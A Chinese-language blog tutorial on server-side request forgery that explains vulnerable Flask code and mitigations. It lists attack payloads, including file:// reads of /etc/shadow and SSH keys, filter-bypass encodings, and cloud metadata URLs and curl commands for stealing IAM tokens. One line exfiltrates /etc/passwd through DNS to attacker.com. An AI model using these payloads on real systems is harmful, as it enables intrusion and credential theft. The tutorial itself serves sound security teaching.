OWASP Top 10 - 伺服器端請求偽造 SSRF

OWASP Top 10 - Server-Side Request Forgery SSRF

SSRF 概述

伺服器端請求偽造(Server-Side Request Forgery,SSRF)是一種網路安全漏洞,攻擊者可以誘使伺服器端應用程式向非預期的位置發送請求。在 SSRF 攻擊中,攻擊者可以讓伺服器連接到組織內部的服務、存取內部網路資源,甚至連接到外部系統。

SSRF 在 2021 年被納入 OWASP Top 10 的第十名,隨著雲端服務和微服務架構的普及,這類漏洞的影響範圍和危害程度也持續增加。

SSRF 的危害

  • 存取內部網路服務和資料
  • 讀取伺服器本地檔案
  • 取得雲端服務的 Metadata(如 AWS、GCP、Azure)
  • 進行內網端口掃描
  • 繞過防火牆和存取控制
  • 作為跳板攻擊其他內部系統

常見 SSRF 攻擊場景

1. 圖片/文件 URL 載入功能

許多應用程式允許使用者提供 URL 來載入外部圖片或文件:

1
2
3
4
5
6
# 易受攻擊的程式碼
@app.route('/fetch-image')
def fetch_image():
    url = request.args.get('url')
    response = requests.get(url)
    return response.content

2. Webhook 功能

當應用程式允許使用者設定 Webhook URL 時:

1
2
3
4
5
6
7
# 易受攻擊的 Webhook 功能
@app.route('/webhook/config', methods=['POST'])
def config_webhook():
    webhook_url = request.json.get('url')
    # 測試 Webhook 連線
    requests.post(webhook_url, json={'test': 'ping'})
    return 'Webhook configured'

3. PDF/文件產生器

使用 URL 作為輸入來產生 PDF 或預覽文件:

1
2
3
4
5
# 易受攻擊的 PDF 產生功能
@app.route('/generate-pdf')
def generate_pdf():
    url = request.args.get('url')
    return render_pdf_from_url(url)

基本 SSRF 攻擊手法

存取內部服務

攻擊者可以利用 SSRF 存取只有內部網路才能存取的服務:

1
2
3
4
5
6
7
8
9
# 存取本地服務
http://localhost:8080/admin
http://127.0.0.1:22
http://[::1]:80

# 存取內部網路
http://192.168.1.1/admin
http://10.0.0.1:8080/internal-api
http://intranet.company.local/

讀取本地檔案

使用 file:// 協議讀取伺服器檔案:

1
2
3
4
file:///etc/passwd
file:///etc/shadow
file:///home/user/.ssh/id_rsa
file:///proc/self/environ

使用不同協議

1
2
3
4
5
6
7
8
# Gopher 協議(可用於發送任意 TCP 封包)
gopher://127.0.0.1:25/_HELO%20localhost

# Dict 協議
dict://127.0.0.1:6379/info

# FTP 協議
ftp://internal-ftp:21/

繞過常見防護

1. 繞過 IP 黑名單

1
2
3
4
5
6
7
8
# 使用不同表示法表示 127.0.0.1
http://127.1/
http://0/
http://0.0.0.0/
http://2130706433/          # 十進位表示
http://0x7f000001/          # 十六進位表示
http://0177.0.0.1/          # 八進位表示
http://127.0.0.1.nip.io/    # DNS 重綁定

2. 繞過 URL 解析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# URL 編碼
http://127.0.0.1/%2f
http://127.0.0.1/%252f

# 使用 @ 符號
http://evil.com@127.0.0.1/
http://127.0.0.1#@evil.com/

# IPv6 格式
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/

3. DNS 重綁定攻擊

設置一個 DNS 伺服器,讓同一個域名在不同時間解析到不同 IP:

  1. 第一次解析:返回合法外部 IP(通過驗證)
  2. 第二次解析:返回 127.0.0.1(實際請求時)

4. 重定向繞過

如果應用程式會追蹤重定向:

1
2
3
4
# 攻擊者控制的伺服器
@app.route('/redirect')
def redirect_to_internal():
    return redirect('http://127.0.0.1:8080/admin')

雲端環境中的 SSRF

AWS Metadata Service

AWS EC2 實例可以透過 Metadata Service 獲取敏感資訊:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 獲取 Instance Metadata
http://169.254.169.254/latest/meta-data/

# 獲取 IAM Role 憑證(最危險)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]

# 獲取 User Data(可能包含敏感配置)
http://169.254.169.254/latest/user-data/

# IMDSv2(需要 Token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

GCP Metadata Service

1
2
3
4
5
6
# GCP Metadata
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/

# 需要 Header
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure Metadata Service

1
2
3
# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Blind SSRF

當應用程式不直接回傳請求結果時,稱為 Blind SSRF。

偵測方法

使用外部服務接收 SSRF 請求:

1
2
3
4
5
6
7
8
# 使用 Burp Collaborator
http://your-id.burpcollaborator.net/

# 使用 webhook.site
http://webhook.site/your-unique-id

# 使用 interact.sh
http://your-id.interact.sh/

Out-of-Band 資料外洩

透過 DNS 查詢外洩資料:

1
2
# 將敏感資料編碼到 DNS 查詢
http://$(cat /etc/passwd | base64).attacker.com/

時間差偵測

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 透過回應時間判斷內部服務是否存在
import time

start = time.time()
requests.get('http://vulnerable.com/fetch?url=http://192.168.1.1:22')
duration = time.time() - start

if duration > 5:
    print("Port 22 might be open (timeout)")
else:
    print("Port 22 responded or is closed")

測試方法

手動測試

  1. 識別可能的注入點

    • URL 參數
    • 圖片上傳 URL
    • Webhook 配置
    • PDF/文件產生功能
    • 代理功能
  2. 測試基本 SSRF

    1
    2
    3
    
    http://localhost/
    http://127.0.0.1/
    http://[::1]/
    
  3. 測試雲端 Metadata

    1
    2
    
    http://169.254.169.254/
    http://metadata.google.internal/
    

使用工具

SSRFmap

1
2
3
4
5
6
7
# 安裝
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip install -r requirements.txt

# 使用
python ssrfmap.py -r request.txt -p url -m readfiles

Gopherus

產生 Gopher payload:

1
2
3
4
5
# 產生 Redis payload
python gopherus.py --exploit redis

# 產生 MySQL payload
python gopherus.py --exploit mysql

測試清單

  • 測試 localhost 和 127.0.0.1 存取
  • 測試內部 IP 範圍(10.x、172.16-31.x、192.168.x)
  • 測試雲端 Metadata endpoint
  • 測試不同的 IP 表示法繞過
  • 測試 URL 重定向
  • 測試不同協議(file://、gopher://、dict://)
  • 使用 Out-of-Band 技術測試 Blind SSRF

防護措施

1. 輸入驗證

使用白名單驗證允許的 URL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from urllib.parse import urlparse
import ipaddress

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']

def validate_url(url):
    parsed = urlparse(url)

    # 只允許 http 和 https
    if parsed.scheme not in ['http', 'https']:
        return False

    # 檢查白名單
    if parsed.hostname not in ALLOWED_HOSTS:
        return False

    return True

2. 阻擋內部 IP 位址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import ipaddress
from urllib.parse import urlparse
import socket

def is_internal_ip(hostname):
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)

        # 阻擋私有 IP 和迴路位址
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            return True

        # 阻擋雲端 Metadata IP
        if ip == '169.254.169.254':
            return True

        return False
    except:
        return True

def safe_fetch(url):
    parsed = urlparse(url)

    if is_internal_ip(parsed.hostname):
        raise ValueError("Access to internal resources is not allowed")

    return requests.get(url, allow_redirects=False)

3. 停用不必要的協議

1
2
3
4
5
6
def validate_protocol(url):
    parsed = urlparse(url)
    allowed_protocols = ['http', 'https']

    if parsed.scheme.lower() not in allowed_protocols:
        raise ValueError(f"Protocol {parsed.scheme} is not allowed")

4. 使用代理伺服器

將所有外部請求透過專用代理發送:

1
2
3
4
5
6
proxies = {
    'http': 'http://outbound-proxy:8080',
    'https': 'http://outbound-proxy:8080'
}

response = requests.get(url, proxies=proxies)

5. 網路層防護

  • 使用防火牆限制伺服器的外連流量
  • 阻擋對 Metadata Service 的存取
  • 使用 IMDSv2(需要 Token)

程式碼修復範例

修復前(易受攻擊)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)
    return response.content

修復後(安全版本)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from flask import Flask, request, abort
import requests
import socket
import ipaddress
from urllib.parse import urlparse

app = Flask(__name__)

ALLOWED_HOSTS = ['api.trusted-partner.com', 'cdn.example.com']
ALLOWED_PROTOCOLS = ['http', 'https']

def is_safe_url(url):
    try:
        parsed = urlparse(url)

        # 驗證協議
        if parsed.scheme.lower() not in ALLOWED_PROTOCOLS:
            return False, "Invalid protocol"

        # 驗證主機名稱
        hostname = parsed.hostname
        if not hostname:
            return False, "Invalid hostname"

        # 檢查白名單
        if hostname not in ALLOWED_HOSTS:
            # 如果不在白名單,檢查是否為內部 IP
            try:
                ip = socket.gethostbyname(hostname)
                ip_obj = ipaddress.ip_address(ip)

                if ip_obj.is_private or ip_obj.is_loopback:
                    return False, "Access to internal IPs is blocked"

                if ip_obj.is_link_local:
                    return False, "Access to link-local IPs is blocked"

                # 阻擋雲端 Metadata
                if ip == '169.254.169.254':
                    return False, "Access to cloud metadata is blocked"

            except socket.gaierror:
                return False, "Cannot resolve hostname"

        return True, None

    except Exception as e:
        return False, str(e)

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')

    if not url:
        abort(400, "URL parameter is required")

    is_safe, error = is_safe_url(url)
    if not is_safe:
        abort(403, f"URL is not allowed: {error}")

    try:
        # 禁用重定向追蹤,避免重定向繞過
        response = requests.get(url, allow_redirects=False, timeout=10)

        # 檢查是否有重定向
        if response.is_redirect:
            abort(403, "Redirects are not allowed")

        return response.content

    except requests.exceptions.Timeout:
        abort(504, "Request timeout")
    except requests.exceptions.RequestException as e:
        abort(502, f"Request failed: {str(e)}")

if __name__ == '__main__':
    app.run()

參考資料

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy